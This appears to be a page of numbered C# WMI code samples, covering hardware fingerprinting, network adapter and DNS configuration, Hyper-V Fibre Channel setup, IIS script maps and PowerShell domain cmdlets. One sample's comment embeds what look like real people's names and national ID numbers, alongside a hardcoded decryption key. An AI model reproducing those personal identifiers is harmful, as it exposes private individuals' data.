Exemplo n.º 1
0
    //获得网卡序列号----MAc地址
    public string GetMoAddress()
    {
        try
        {
            //读取硬盘序列号
            ManagementObject disk;
            disk = new ManagementObject("win32_logicaldisk.deviceid=\"c:\"");
            disk.Get();

            string MoAddress = "BD-CNSOFTWEB";
            ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
            ManagementObjectCollection moc2 = mc.GetInstances();
            foreach (ManagementObject mo in moc2)
            {
                if ((bool)mo["IPEnabled"] == true)
                {
                    string a = mo["MacAddress"].ToString();
                    string c = disk.GetPropertyValue("VolumeSerialNumber").ToString();
                    MoAddress = "BD-" + a + "-" + c + "-CNSOFTWEB";
                    break;
                }
            }
            return MoAddress.ToString().Replace(":", "");
        }
        catch
        {
            return "BD-ERR-CNSOFTWEB";
        }
    }
Exemplo n.º 2
0
    public void EnableDHCP(ManagementObject mo)
    {
        ManagementBaseObject methodParams = mo.GetMethodParameters("EnableDHCP");
        ManagementBaseObject renewParams = mo.GetMethodParameters("RenewDHCPLease");

        mo.InvokeMethod("EnableDHCP", methodParams, null);
        mo.InvokeMethod("RenewDHCPLease", renewParams, null);
    }
Exemplo n.º 3
0
 static void ShowServerConnectionProperties(string objectClass)
 {
     using (ManagementObject process = new ManagementObject(objectClass))
     {
         process.Get();
         PropertyDataCollection processProperties = process.Properties;
         Console.WriteLine("ConnectionID: {0,6} \tShareName: {1}", processProperties["ConnectionID"].Value, processProperties["ShareName"].Value);
     }
 }
Exemplo n.º 4
0
    public static string GetVolumeSerial(string strDriveLetter)
    {
        if( strDriveLetter=="" || strDriveLetter==null)
        {
            strDriveLetter="C";
        }

        ManagementObject disk = new ManagementObject("win32_logicaldisk.deviceid=\"" + strDriveLetter +":\"");
        disk.Get();
        return disk["VolumeSerialNumber"].ToString();
    }
Exemplo n.º 5
0
    public void setDNS(ManagementObject mo, string[] servers)
    {
        ManagementBaseObject methodParams = mo.GetMethodParameters("SetDNSServerSearchOrder");
        methodParams["DNSServerSearchOrder"] = servers;

        try {
            mo.InvokeMethod("SetDNSServerSearchOrder", methodParams, null);
        }
        catch (Exception e) {
            Console.WriteLine("Failed to set DNS", e);
        }
    }
    /// <summary>
    /// Changes installed SonarQube service's log on user to current logged on user
    /// if windows authentication is chosen.
    /// </summary>
    public static bool ChangeUserAccountOfServiceForWindowsAuthentication(Session session)
    {
        string authType = session.Property("SQLAUTHTYPE");
        string setupType = session.Property("SETUPTYPE");
        string currentLoggedInUser = session.Property("CURRENTLOGGEDINUSER");

        bool success = true;

        // If authentication type is Windows, we need to change the service log on to current user.
        // For SQL auth, it works with System log on which is the default one.
        if (AuthenticationType.Windows.Equals(authType, StringComparison.InvariantCultureIgnoreCase) &&
            SetupType.Express.Equals(setupType, StringComparison.InvariantCultureIgnoreCase))
        {
            try
            {
                string queryString = "SELECT * FROM WIN32_SERVICE WHERE DISPLAYNAME='SonarQube'";

                ObjectQuery oQuery = new ObjectQuery(queryString);
                ManagementObjectSearcher objectSearcher = new ManagementObjectSearcher(oQuery);
                ManagementObjectCollection objectCollection = objectSearcher.Get();

                foreach (ManagementObject mObject in objectCollection)
                {
                    string serviceName = mObject.GetPropertyValue("Name") as string;
                    string fullServiceName = "Win32_Service.Name='" + serviceName + "'";
                    ManagementObject mo = new ManagementObject(fullServiceName);

                    string username = currentLoggedInUser;
                    string password = string.Empty;

                    // Ask current logged on user's password
                    if (!WindowsAuthenticationHelper.PromptForPassword(session, username, out password))
                    {
                        // [TODO] Localization
                        SendMessageBoxMessageToBA(session, "Authentication failed. Service may not run as expected.");
                        success = false;
                    }
                    else
                    {
                        mo.InvokeMethod("Change", new object[] { null, null, null, null, null, null, username, password, null, null, null });
                    }
                }
            }
            catch (Exception e)
            {
                session.Log("[ChangeUserAccountForService] {0}", e.Message);
            }
        }
        return success;
    }
Exemplo n.º 7
0
 /// <summary>
 /// 获取机器号码
 /// </summary>
 /// <returns></returns>
 public static string GetDiskCPUNumber()
 {
     string strDiskCPUNumber = "";
     // 取得设备硬盘的卷标号
     string strDisk = null;
     ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
     ManagementObject disk = new ManagementObject("win32_logicaldisk.deviceid=\"c:\"");
     disk.Get();
     strDisk = disk.GetPropertyValue("VolumeSerialNumber").ToString();
     //获得CPU的序列号
     string strCPU = null;
     ManagementClass myCpu = new ManagementClass("win32_Processor");
     ManagementObjectCollection myCpuConnection = myCpu.GetInstances();
     foreach (ManagementObject myObject in myCpuConnection)
     {
         strCPU = myObject.Properties["Processorid"].Value.ToString();
         break;
     }
     return strDiskCPUNumber = strCPU + strDisk;
 }
Exemplo n.º 8
0
 protected string GetDriveUsageStr(string driveLetter)
 {
     string ret="";
       try
       {
     ManagementObject drive = new ManagementObject("Win32_LogicalDisk.DeviceID=\""+driveLetter+"\"");
     drive.Get();
     UInt64 total=(UInt64)drive["Size"];
     UInt64 free=(UInt64)drive["FreeSpace"];
     UInt64 used=total-free;
     total=(total/1024)/1024;
     used=(used/1024)/1024;
     free = (free / 1024) / 1024;
     ret=driveLetter+" free:  "+free.ToString()+" Mb  used: "+used.ToString()+" Mb / "+total.ToString()+" Mb";
       }
       catch (Exception)
       {
     return driveLetter+" (unknown)";
       }
       return ret;
 }
Exemplo n.º 9
0
 static XenIface()
 {
     _session = null;
 }
Exemplo n.º 10
0
 public BootSourceSettingData(ManagementObject theObject) : base(theObject, ClassName)
 {
 }
Exemplo n.º 11
0
        AddSyntheticFcAdapter(
            ManagementObject virtualMachine,
            ManagementScope scope,
            WorldWideName wwnA,
            WorldWideName wwnB)
        {
            using (ManagementObject managementService =
                       WmiUtilities.GetVirtualMachineManagementService(scope))
                using (ManagementObject virtualMachineSettings =
                           WmiUtilities.GetVirtualMachineSettings(virtualMachine))
                    //
                    // Get the default Synthetic Adapter object, then modify its properties.
                    //
                    using (ManagementObject adapterToAdd = GetDefaultSyntheticFcAdapter(scope))
                    {
                        adapterToAdd["ElementName"]     = FibreChannelUtilities.FcDeviceName;
                        adapterToAdd["VirtualPortWWPN"] = wwnA.PortName;
                        adapterToAdd["VirtualPortWWNN"] = wwnA.NodeName;
                        adapterToAdd["SecondaryWWPN"]   = wwnB.PortName;
                        adapterToAdd["SecondaryWWNN"]   = wwnB.NodeName;

                        //
                        // Now add it to the virtual machine.
                        //
                        using (ManagementBaseObject addAdapterInParams =
                                   managementService.GetMethodParameters("AddResourceSettings"))
                        {
                            addAdapterInParams["AffectedConfiguration"] = virtualMachineSettings.Path.Path;
                            addAdapterInParams["ResourceSettings"]      = new string[] { adapterToAdd.GetText(
                                                                                             TextFormat.WmiDtd20) };

                            using (ManagementBaseObject addAdapterOutParams =
                                       managementService.InvokeMethod("AddResourceSettings",
                                                                      addAdapterInParams,
                                                                      null))
                            {
                                WmiUtilities.ValidateOutput(addAdapterOutParams, scope);

                                //
                                // Get the created FC adapter from the output parameters.
                                //
                                ManagementObject addedAdapter;
                                if (addAdapterOutParams["ResultingResourceSettings"] != null)
                                {
                                    addedAdapter = new ManagementObject(
                                        ((string[])addAdapterOutParams["ResultingResourceSettings"])[0]);

                                    addedAdapter.Get();
                                }
                                else
                                {
                                    using (ManagementObject job =
                                               new ManagementObject((string)addAdapterOutParams["Job"]))
                                    {
                                        addedAdapter =
                                            WmiUtilities.GetFirstObjectFromCollection(job.GetRelated(null,
                                                                                                     "Msvm_AffectedJobElement", null, null, null, null, false, null));
                                    }
                                }

                                return(addedAdapter);
                            }
                        }
                    }
        }
Exemplo n.º 12
0
        /// <summary>
        /// List of Config Items (Class ConfigItem)
        /// </summary>
        /// <param name="DCMBaseline">Instance of SMS_DesiredConfiguration ManagementObject</param>
        /// <returns>Confg Items</returns>
        public List <ConfigItem> ConfigItems(ManagementObject DCMBaseline)
        {
            List <ConfigItem> oResult = new List <ConfigItem>();

            try
            {
                XmlDocument xDoc = new XmlDocument();
                DCMBaseline.Get();
                xDoc.LoadXml(DCMBaseline.Properties["ComplianceDetails"].Value.ToString());
                XmlNodeList xNodes = xDoc.SelectNodes(@"//DiscoveryReport//BaselineCIComplianceState/PartsCompliance/PartCIComplianceState");
                foreach (XmlNode xNode in xNodes)
                {
                    ConfigItem oItem = new ConfigItem();
                    oItem.LogicalName = xNode.Attributes["LogicalName"].Value.ToString();
                    oItem.Applicable  = bool.Parse(xNode.Attributes["Applicable"].Value.ToString());
                    oItem.Compliant   = bool.Parse(xNode.Attributes["Compliant"].Value.ToString());
                    oItem.Detected    = bool.Parse(xNode.Attributes["Detected"].Value.ToString());
                    oItem.Type        = xNode.Attributes["Type"].Value.ToString();
                    oItem.Version     = xNode.Attributes["Version"].Value.ToString();

                    oItem.CIName        = xNode.SelectSingleNode("./CIProperties/LocalizableText[@PropertyName='CIName']").InnerText;
                    oItem.CIDescription = xNode.SelectSingleNode("./CIProperties/LocalizableText[@PropertyName='CIDescription']").InnerText;

                    if (xNode.SelectSingleNode("./ConstraintViolations[@Count > 0]") != null)
                    {
                        string sSeverity = "";
                        //Need to fix !
                        foreach (XmlNode xSeverity in xNode.SelectNodes("./ConstraintViolations/ConstraintViolation"))
                        {
                            string sSev = xSeverity.Attributes["Severity"].Value.ToString();

                            if (string.Compare(sSev, "Information", true) == 0)
                            {
                                if ((string.Compare(sSeverity, "Error", true) != 0) & (string.Compare(sSeverity, "Warning", true) != 0))
                                {
                                    sSeverity = sSev;
                                }
                            }

                            if (string.Compare(sSev, "Warning", true) == 0)
                            {
                                if (string.Compare(sSeverity, "Error", true) != 0)
                                {
                                    sSeverity = sSev;
                                }
                            }

                            if (string.Compare(sSev, "Error", true) == 0)
                            {
                                sSeverity = sSev;
                            }
                        }

                        //oItem.ConstraintViolation = xNode.SelectSingleNode("./ConstraintViolations/ConstraintViolation").Attributes["Severity"].Value.ToString();
                        oItem.ConstraintViolation = sSeverity;
                    }
                    else
                    {
                        oItem.ConstraintViolation = "";
                    }

                    oResult.Add(oItem);
                }
            }
            catch { }

            return(oResult);
        }
Exemplo n.º 13
0
 public WmiDynamic(ManagementObject obj)
 {
     _obj = obj;
 }
Exemplo n.º 14
0
 /// <summary>
 /// Get string value or null
 /// </summary>
 /// <param name="obj">Management object</param>
 /// <param name="key">Key</param>
 /// <returns></returns>
 public static string GetValue(this ManagementObject obj, string key)
 {
     return(obj[key]?.ToString().Trim());
 }
Exemplo n.º 15
0
        private static void SetVirtualDirectoryAspNetMappings(ManagementBaseObject obj, AspNetVersion aspNet)
        {
            if (aspNet != AspNetVersion.Unknown)
            {
                // configure ASP.NET
                // remove existing mappings
                List <string> aspNetMaps = new List <string>();
                aspNetMaps.AddRange(aspNet20Maps);

                List <ManagementBaseObject> scriptMaps = new List <ManagementBaseObject>();

                ManagementBaseObject[] objScriptMaps =
                    ((ManagementBaseObject[])obj.Properties["ScriptMaps"].Value);

                // get/filter existing maps
                foreach (ManagementBaseObject objScriptMap in objScriptMaps)
                {
                    string ext = (string)objScriptMap.Properties["Extensions"].Value;
                    if (!aspNetMaps.Contains(ext))
                    {
                        scriptMaps.Add(objScriptMap);
                    }
                }

                // add script maps

                string[] aspNetExtensions  = aspNet11Maps;
                string   aspNetVersionName = AspNet11;
                if (aspNet == AspNetVersion.AspNet20)
                {
                    aspNetExtensions  = aspNet20Maps;
                    aspNetVersionName = AspNet20;
                }

                // add required script maps
                RegistryKey netFramework  = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\.NetFramework", false);
                string      installRoot   = netFramework.GetValue("InstallRoot").ToString();
                string      processorPath = Path.Combine(installRoot, aspNetVersionName + "\\aspnet_isapi.dll");
                // correct mappings for IIS 32-bit mode
                if (Utils.IsWin64() && Utils.IIS32Enabled())
                {
                    processorPath = processorPath.Replace("Framework64", "Framework");
                }

                foreach (string extension in aspNetExtensions)
                {
                    ManagementClass  clsScriptMap = wmi.GetClass("ScriptMap");
                    ManagementObject objScriptMap = clsScriptMap.CreateInstance();

                    objScriptMap.Properties["Extensions"].Value = extension;
                    int flags = 5;
                    if (extension == ".soap" || extension == ".rem" || extension == ".vsdisco" ||
                        extension == ".axd" || extension == ".aspx" || extension == ".asmx" || extension == ".ashx")
                    {
                        flags = 1;
                    }

                    objScriptMap.Properties["Flags"].Value           = flags;
                    objScriptMap.Properties["IncludedVerbs"].Value   = "GET,HEAD,POST,DEBUG";
                    objScriptMap.Properties["ScriptProcessor"].Value = processorPath;
                    objScriptMap.Put();

                    scriptMaps.Add(objScriptMap);
                }

                // set script maps
                obj.Properties["ScriptMaps"].Value = scriptMaps.ToArray();
            }
        }
Exemplo n.º 16
0
 public static string GetSystemDirectory(ManagementScope cimv2Scope)
 {
     using (ManagementObject managementObject = WMIUtils.QueryFirst(cimv2Scope, "select * from win32_operatingsystem"))
         return((string)managementObject["SystemDirectory"]);
 }
Exemplo n.º 17
0
 public static bool IsDTRachetInstalled(ManagementScope scope)
 {
     using (ManagementObject managementObject = WMIUtils.QueryFirst(scope, "Select * From WIN32_SystemDriver Where Name='RepDrv'"))
         return(managementObject != null);
 }
Exemplo n.º 18
0
        public List <TrainLicense> ReadTrainLicense()
        {
            int typeError = 0;
            List <TrainLicense> tra;
            DataTable           dt = new DataTable();

            dt.Columns.Add("盘符", typeof(string));
            dt.Columns.Add("卷标", typeof(string));
            SelectQuery selectQuery           = new SelectQuery("select * from win32_logicaldisk");
            ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery);

            using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = searcher.Get().GetEnumerator())
            {
                while (enumerator.MoveNext())
                {
                    ManagementObject disk = (ManagementObject)enumerator.Current;
                    try
                    {
                        string DriveType = disk["DriveType"].ToString();
                        string text      = DriveType;
                        if (text != null)
                        {
                            if (text == "2")
                            {
                                typeError = 1;
                                DataRow dr = dt.NewRow();
                                dr[0] = disk["Name"].ToString();
                                dt.Rows.Add(dr);
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("未知设备!" + ex);
                    }
                }
            }
            if (dt.Rows.Count > 0)
            {
                foreach (DataRow dr in dt.Rows)
                {
                    try
                    {
                        string sPath         = dr["盘符"].ToString();
                        string _prntrLogFile = sPath + "\\TrainLicense.dat";
                        if (File.Exists(_prntrLogFile))
                        {
                            List <string> _serialNumber = matchDriveLetterWithSerial(sPath.Substring(0, 2));
                            using (StreamReader _swPrntr = new StreamReader(_prntrLogFile, Encoding.UTF8, true))
                            {
                                string strDecrypt       = _swPrntr.ReadToEnd();
                                string sJsonTrainDetail = AESDecrypt(strDecrypt, "sjhy3852");
                                if (sJsonTrainDetail.Contains("*"))
                                {
                                    string[] strTraLic = sJsonTrainDetail.Split('*');
                                    if (_serialNumber.Contains(strTraLic[1].Trim()))
                                    {
                                        tra       = JsonConvert.DeserializeObject <List <TrainLicense> >(strTraLic[0]);
                                        typeError = 2;
                                    }
                                    else
                                    {
                                        MessageBox.Show(sPath + "该设备不合法!");
                                        tra = null;
                                    }
                                    //string ens = "[{\"TraBookSeqNo\":144,\"Date\":\"2015-08-18\",\"Name\":\"杨虎城\",\"PidNo\":\"610632198708172013\",\"Session\":\"\",\"AutoId\":\"B201\",\"Trainer\":\"\",\"AutoType\":\"B2\",\"ChargeMode\":\"Tries\",\"Photo\":\"\",\"Fingerprint\":\"\",\"TimeLmt\":0.33,\"TriesLmt\":1,\"MileageLmt\":0.0,\"TrainDetail\":null},{\"TraBookSeqNo\":143,\"Date\":\"2015-08-18\",\"Name\":\"张少华\",\"PidNo\":\"131121198701010230\",\"Session\":\"\",\"AutoId\":\"B201\",\"Trainer\":\"\",\"AutoType\":\"B2\",\"ChargeMode\":\"Tries\",\"Photo\":\"\",\"Fingerprint\":\"\",\"TimeLmt\":0.33,\"TriesLmt\":1,\"MileageLmt\":0.0,\"TrainDetail\":null},{\"TraBookSeqNo\":142,\"Date\":\"2015-08-18\",\"Name\":\"李腾飞\",\"PidNo\":\"131124198312070239\",\"Session\":\"\",\"AutoId\":\"B201\",\"Trainer\":\"\",\"AutoType\":\"B2\",\"ChargeMode\":\"Tries\",\"Photo\":\"\",\"Fingerprint\":\"\",\"TimeLmt\":0.33,\"TriesLmt\":1,\"MileageLmt\":0.0,\"TrainDetail\":null}]*5B830F0005CF";
                                    //string s = AESEncrypt(ens, "sjhy3852");
                                }
                                else
                                {
                                    tra = null;
                                }
                            }

                            return(tra);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("发生错误!" + ex);
                    }
                }
            }
            if (typeError == 0)
            {
                MessageBox.Show("没有检测到移动存储设备,请检查");
                tra = null;
            }
            else if (typeError == 1)
            {
                MessageBox.Show("读取到的设备中没有相关文件。");
                tra = null;
            }
            else
            {
                tra = null;
            }
            return(tra);
        }
Exemplo n.º 19
0
 /// <summary>
 /// Creates a new instance
 /// </summary>
 /// <param name="obj">The <see cref="ManagementObject"/> to use</param>
 public Win32_Object(ManagementObject obj) => Object = obj ?? throw new ArgumentNullException(nameof(obj));
 /// <summary>
 /// Create or modify WMI Instance given either path,class name or pipeline input.
 /// </summary>
 protected override void ProcessRecord()
 {
     if (this.AsJob)
     {
         RunAsJob("Set-WMIInstance");
         return;
     }
     if (InputObject != null)
     {
         object           result = null;
         ManagementObject mObj   = null;
         try
         {
             PutOptions pOptions = new PutOptions();
             mObj          = SetWmiInstanceGetPipelineObject();
             pOptions.Type = _putType;
             if (mObj != null)
             {
                 if (!ShouldProcess(mObj.Path.Path.ToString()))
                 {
                     return;
                 }
                 mObj.Put(pOptions);
             }
             else
             {
                 InvalidOperationException exp = new InvalidOperationException();
                 throw exp;
             }
             result = mObj;
         }
         catch (ManagementException e)
         {
             ErrorRecord errorRecord = new ErrorRecord(e, "SetWMIManagementException", ErrorCategory.InvalidOperation, null);
             WriteError(errorRecord);
         }
         catch (System.Runtime.InteropServices.COMException e)
         {
             ErrorRecord errorRecord = new ErrorRecord(e, "SetWMICOMException", ErrorCategory.InvalidOperation, null);
             WriteError(errorRecord);
         }
         WriteObject(result);
     }
     else
     {
         ManagementPath mPath = null;
         //If Class is specified only CreateOnly flag is supported
         mPath = this.SetWmiInstanceBuildManagementPath();
         //If server name is specified loop through it.
         if (mPath != null)
         {
             if (!(mPath.Server == "." && serverNameSpecified))
             {
                 string[] serverName = new string[] { mPath.Server };
                 ComputerName = serverName;
             }
         }
         ConnectionOptions options = GetConnectionOption();
         object            result  = null;
         ManagementObject  mObject = null;
         foreach (string name in ComputerName)
         {
             result = null;
             try
             {
                 mObject = this.SetWmiInstanceGetObject(mPath, name);
                 PutOptions pOptions = new PutOptions();
                 pOptions.Type = _putType;
                 if (mObject != null)
                 {
                     if (!ShouldProcess(mObject.Path.Path.ToString()))
                     {
                         continue;
                     }
                     mObject.Put(pOptions);
                 }
                 else
                 {
                     InvalidOperationException exp = new InvalidOperationException();
                     throw exp;
                 }
                 result = mObject;
             }
             catch (ManagementException e)
             {
                 ErrorRecord errorRecord = new ErrorRecord(e, "SetWMIManagementException", ErrorCategory.InvalidOperation, null);
                 WriteError(errorRecord);
             }
             catch (System.Runtime.InteropServices.COMException e)
             {
                 ErrorRecord errorRecord = new ErrorRecord(e, "SetWMICOMException", ErrorCategory.InvalidOperation, null);
                 WriteError(errorRecord);
             }
             if (result != null)
             {
                 WriteObject(result);
             }
         }
     }
 }
Exemplo n.º 21
0
 protected VirtualSystemManagementService(ManagementObject instance)
     : base(instance)
 {
 }
 public EthernetSwitchPortSecuritySettingData(ManagementObject theObject) : base(theObject, ClassName)
 {
 }
Exemplo n.º 23
0
 public bool isUsingDhcp(ManagementObject mo)
 {
     return (bool)mo["DHCPEnabled"];
 }
Exemplo n.º 24
0
 public Win32_Base(ManagementObject mo)
 {
     this.mo = mo;
 }
 protected ResourceAllocationSettingData(ManagementObject instance)
     : base(instance)
 {
 }
Exemplo n.º 26
0
        internal static void StopApplicationPool(string name)
        {
            ManagementObject objPool = wmi.GetObject(String.Format("IIsApplicationPool='W3SVC/AppPools/{0}'", name));

            objPool.InvokeMethod("Stop", null);
        }
 public static IResourceAllocationSettingData CreateFromObject(ManagementObject o)
 {
     return((IResourceAllocationSettingData) new ResourceAllocationSettingData(o));
 }
Exemplo n.º 28
0
 public AdapterInfo(ManagementObject adapter)
 {
     this.adapter = adapter;
 }
Exemplo n.º 29
0
        public LocalIpSet()
        {
            NetworkChange.NetworkAddressChanged += (object sender, EventArgs e) => {
                // 延迟获取网络信息以防止立即获取时获取不到
                1.SecondsDelay().ContinueWith(t => {
                    var old   = _localIps;
                    _isInited = false;
                    InitOnece();
                    var localIps = _localIps;
                    if (localIps.Length == 0)
                    {
                        VirtualRoot.ThisLocalWarn(nameof(LocalIpSet), "网络连接已断开", toConsole: true);
                    }
                    else
                    {
                        if (old.Length == 0)
                        {
                            VirtualRoot.ThisLocalInfo(nameof(LocalIpSet), "网络连接已连接", toConsole: true);
                        }
                        else
                        {
                            bool isIpChanged = false;
                            if (old.Length != localIps.Length)
                            {
                                isIpChanged = true;
                            }
                            else
                            {
                                foreach (var item in localIps)
                                {
                                    var oldItem = old.FirstOrDefault(a => a.SettingID == item.SettingID);
                                    if (item != oldItem)
                                    {
                                        isIpChanged = true;
                                        break;
                                    }
                                }
                            }
                            VirtualRoot.ThisLocalWarn(nameof(LocalIpSet), $"网络接口的 IP 地址发生了 {(isIpChanged ? "变更" : "刷新")}", toConsole: true);
                        }
                    }
                });
            };
            NetworkChange.NetworkAvailabilityChanged += (object sender, NetworkAvailabilityEventArgs e) => {
                if (e.IsAvailable)
                {
                    VirtualRoot.ThisLocalInfo(nameof(LocalIpSet), $"网络可用", toConsole: true);
                }
                else
                {
                    VirtualRoot.ThisLocalWarn(nameof(LocalIpSet), $"网络不可用", toConsole: true);
                }
            };
            VirtualRoot.AddCmdPath <SetLocalIpCommand>(action: message => {
                ManagementObject mo = null;
                using (ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"))
                    using (ManagementObjectCollection moc = mc.GetInstances()) {
                        foreach (ManagementObject item in moc)
                        {
                            if ((string)item["SettingID"] == message.Input.SettingID)
                            {
                                mo = item;
                                break;
                            }
                        }
                    }
                if (mo != null)
                {
                    if (message.Input.DHCPEnabled)
                    {
                        mo.InvokeMethod("EnableStatic", null);
                        mo.InvokeMethod("SetGateways", null);
                        mo.InvokeMethod("EnableDHCP", null);
                        1.SecondsDelay().ContinueWith(t => {
                            _isInited = false;
                            InitOnece();
                        });
                    }
                    else
                    {
                        ManagementBaseObject inPar = mo.GetMethodParameters("EnableStatic");
                        inPar["IPAddress"]         = new string[] { message.Input.IPAddress };
                        inPar["SubnetMask"]        = new string[] { message.Input.IPSubnet };
                        mo.InvokeMethod("EnableStatic", inPar, null);
                        inPar = mo.GetMethodParameters("SetGateways");
                        inPar["DefaultIPGateway"] = new string[] { message.Input.DefaultIPGateway };
                        mo.InvokeMethod("SetGateways", inPar, null);
                    }

                    if (message.IsAutoDNSServer)
                    {
                        mo.InvokeMethod("SetDNSServerSearchOrder", null);
                    }
                    else
                    {
                        ManagementBaseObject inPar    = mo.GetMethodParameters("SetDNSServerSearchOrder");
                        inPar["DNSServerSearchOrder"] = new string[] { message.Input.DNSServer0, message.Input.DNSServer1 };
                        mo.InvokeMethod("SetDNSServerSearchOrder", inPar, null);
                    }
                }
            }, location: this.GetType());
        }
 public EthernetSwitchPortOffloadSettingData(ManagementObject theObject) : base(theObject, ClassName)
 {
 }
Exemplo n.º 31
0
        protected override void ProcessRecord()
        {
            string localMachineName = Dns.GetHostName();
            string domain = null;
            Exception exception = null;

            if (!ShouldProcess(localMachineName))
            {
                return;
            }

            try
            {
                ManagementObject computerSystemInstance = new ManagementObject("Win32_ComputerSystem.Name=\"" + localMachineName + "\"");
                if (!(bool)computerSystemInstance["PartOfDomain"])
                {
                    string errMsg = ComputerResources.TestComputerNotInDomain;
                    ErrorRecord error = new ErrorRecord(new InvalidOperationException(errMsg), "ComputerNotInDomain",
                                                        ErrorCategory.InvalidOperation, localMachineName);
                    ThrowTerminatingError(error);
                }
                domain = (string)LanguagePrimitives.ConvertTo(computerSystemInstance["Domain"], typeof(string), CultureInfo.InvariantCulture);
            }
            catch (ManagementException ex)
            {
                exception = ex;
            }
            catch (COMException ex)
            {
                exception = ex;
            }
            catch (UnauthorizedAccessException ex)
            {
                exception = ex;
            }
            if (exception != null)
            {
                string errMsg = StringUtil.Format(ComputerResources.FailToGetDomainInformation, exception.Message);
                ErrorRecord error = new ErrorRecord(new InvalidOperationException(errMsg), "FailToGetDomainInformation",
                                                    ErrorCategory.OperationStopped, localMachineName);
                ThrowTerminatingError(error);
            }

            Dbg.Diagnostics.Assert(domain != null, "domain should not be null at this point");
            bool scInGoodState = false;
            string verboseMsg = null;
            if (Repair)
            {
                ResetComputerMachinePasswordCommand.
                    ResetMachineAccountPassword(domain, localMachineName, Server, Credential, this);

                scInGoodState = ResetSecureChannel(domain);
                verboseMsg = scInGoodState
                    ? StringUtil.Format(ComputerResources.RepairSecureChannelSucceed, domain)
                    : StringUtil.Format(ComputerResources.RepairSecureChannelFail, domain);
            }
            else
            {
                scInGoodState = VerifySecureChannel(domain, localMachineName);
                verboseMsg = scInGoodState
                    ? StringUtil.Format(ComputerResources.SecureChannelAlive, domain)
                    : StringUtil.Format(ComputerResources.SecureChannelBroken, domain);
            }

            WriteObject(scInGoodState);
            WriteVerbose(verboseMsg);
        }
Exemplo n.º 32
0
        CreateVirtualFcPort(
            string virtualMachineName,
            string sanName,
            WorldWideName wwnA,
            WorldWideName wwnB)
        {
            Console.WriteLine("Adding Virtual FC Port to VM {0} :", virtualMachineName);
            Console.WriteLine("\tVirtualWWPN: {0}, VirtualWWNN {1}", wwnA.PortName, wwnA.NodeName);
            Console.WriteLine("\tSecondaryWWPN: {0}, SecondaryWWNN {1}", wwnB.PortName, wwnB.NodeName);
            Console.WriteLine("\tProviding connectivity to Virtual SAN {0}", sanName);

            ManagementScope scope = FibreChannelUtilities.GetFcScope();

            using (ManagementObject managementService =
                       WmiUtilities.GetVirtualMachineManagementService(scope))

                //
                // Find the virtual machine we want to connect.
                //
                using (ManagementObject virtualMachine =
                           WmiUtilities.GetVirtualMachine(virtualMachineName, scope))

                    //
                    // Get the virtual machine's settings object which is used
                    // to make configuration changes.
                    //
                    using (ManagementObject virtualMachineSettings =
                               WmiUtilities.GetVirtualMachineSettings(virtualMachine))

                        //
                        // Add a new synthetic FC Adapter device to the virtual machine.
                        //
                        using (ManagementObject syntheticAdapter = AddSyntheticFcAdapter(virtualMachine,
                                                                                         scope,
                                                                                         wwnA,
                                                                                         wwnB))

                            //
                            // Now that we have added a FC adapter to the virtual machine we can configure its
                            // connection settings.
                            //
                            using (ManagementObject connectionSettingsToAdd =
                                       FibreChannelUtilities.GetDefaultFcPortAllocationSettingData(scope, sanName))
                            {
                                connectionSettingsToAdd["PoolID"] = sanName;
                                connectionSettingsToAdd["Parent"] = syntheticAdapter.Path.Path;

                                //
                                // Now add the connection settings.
                                //
                                using (ManagementBaseObject addConnectionInParams =
                                           managementService.GetMethodParameters("AddResourceSettings"))
                                {
                                    addConnectionInParams["AffectedConfiguration"] = virtualMachineSettings.Path.Path;
                                    addConnectionInParams["ResourceSettings"]      =
                                        new string[] { connectionSettingsToAdd.GetText(TextFormat.WmiDtd20) };

                                    using (ManagementBaseObject addConnectionOutParams =
                                               managementService.InvokeMethod("AddResourceSettings",
                                                                              addConnectionInParams,
                                                                              null))
                                    {
                                        WmiUtilities.ValidateOutput(addConnectionOutParams, scope, true, true);
                                    }
                                }
                            }

            Console.WriteLine(string.Format(CultureInfo.CurrentCulture,
                                            "Successfully created virtual FC port on VM '{0}' and connected to san '{1}'.",
                                            virtualMachineName, sanName));
        }
Exemplo n.º 33
0
            public WmiInstallerService()
            {
                ManagementClass mc = new ManagementClass(@"root\citrix\xenserver\agent", "CitrixXenServerInstallStatus", null);
                ManagementObjectCollection coll = null;
                int counter = 0;
                while (counter < 10000)
                {
                    try
                    {
                        coll = mc.GetInstances();

                        while (coll.Count == 0 && counter < 10000)
                        {
                            if (coll.Count == 0)
                            {
                                Thread.Sleep(500);
                                counter += 500;
                            }
                            coll = mc.GetInstances();
                        }
                        break;
                    }
                    catch {
                        Thread.Sleep(500);
                        counter += 500;
                    }
                }

                if (coll == null || coll.Count == 0)
                {
                    service = null;
                    return;
                }
                foreach (ManagementObject obj in coll)
                {
                    service = obj;
                }
            }
Exemplo n.º 34
0
 public ProcessorPool(ManagementObject theObject) : base(theObject, ClassName)
 {
 }
Exemplo n.º 35
0
 public void EnableAutoDns(ManagementObject mo)
 {
     //
     setDNS (mo, new string[]{} );
 }
Exemplo n.º 36
0
 internal NSType(ManagementObject mo)
     : base(mo)
 {
     m_mo = mo;
 }
Exemplo n.º 37
0
 // Constructor to create Wmi Node for the specified namespace
 public WmiNode(ManagementObject wmiNamespace)
 {
     WmiNamespace = new WmiNamespace(wmiNamespace);
     //_connection = wmiNamespace.Scope.Options;
 }
Exemplo n.º 38
0
        private int JoinDomain(ManagementObject computerSystem, string computerName, string oldDomainName, string curWorkgroupName)
        {
            string str;
            string str1;
            string userName;
            string stringFromSecureString;

            if (this.Credential != null)
            {
                userName = this.Credential.UserName;
            }
            else
            {
                userName = null;
            }
            string str2 = userName;

            if (this.Credential != null)
            {
                stringFromSecureString = Utils.GetStringFromSecureString(this.Credential.Password);
            }
            else
            {
                stringFromSecureString = null;
            }
            string str3 = stringFromSecureString;
            ManagementBaseObject methodParameters = computerSystem.GetMethodParameters("JoinDomainOrWorkgroup");

            methodParameters.SetPropertyValue("Name", this._domainName);
            methodParameters.SetPropertyValue("UserName", str2);
            methodParameters.SetPropertyValue("Password", str3);
            methodParameters.SetPropertyValue("AccountOU", this._ouPath);
